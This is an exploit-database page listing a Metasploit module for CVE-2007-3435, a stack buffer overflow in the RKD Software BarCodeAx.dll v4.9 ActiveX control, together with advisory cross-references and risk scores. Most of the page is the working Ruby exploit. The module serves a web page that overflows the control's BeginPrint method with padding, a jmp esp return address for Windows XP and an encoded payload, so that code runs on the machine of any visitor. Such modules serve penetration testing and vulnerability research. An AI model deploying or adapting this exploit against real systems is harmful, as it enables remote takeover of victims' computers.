RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow

🗓️ 12 Feb 2010 18:06:49Reported by Trancek <[email protected]>, aushack <[email protected]>Type

RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow. Exploits stack buffer overflow in BarCodeAx.dll v4.9 to execute arbitrary code

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2007-3435	9 May 201000:00	–	circl
Check Point Advisories	RKD Software ActiveX Control Remote Stack Buffer Overflow (CVE-2007-3435)	27 Dec 201100:00	–	checkpoint_advisories
CVE	CVE-2007-3435	27 Jun 200700:00	–	cve
Cvelist	CVE-2007-3435	27 Jun 200700:00	–	cvelist
Exploit DB	RKD Software BarCode ActiveX Control 'BarCodeAx.dll' 4.9 - Remote Stack Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2007-3435	27 Jun 200700:30	–	nvd
Packet Storm	RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow	15 Feb 201000:00	–	packetstorm
Prion	Stack overflow	27 Jun 200700:30	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in RKD Software Barcode Application
        ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
        method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
      'References'     =>
        [
          [ 'EDB', '4094' ],
          [ 'OSVDB', '37482' ],
          [ 'BID', '24596' ],
          [ 'CVE', '2007-3435' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll aushack xpsp0
        ],
      'DisclosureDate' => '2007-06-22',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname = rand_text_alpha(rand(100) + 1)

    buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded

    # Build out the message
    content = %Q|<html>
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
<script language='javascript'>
#{vname}.BeginPrint("#{buff}");
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

8.3High risk

Vulners AI Score8.3

CVSS 29.3

EPSS0.35406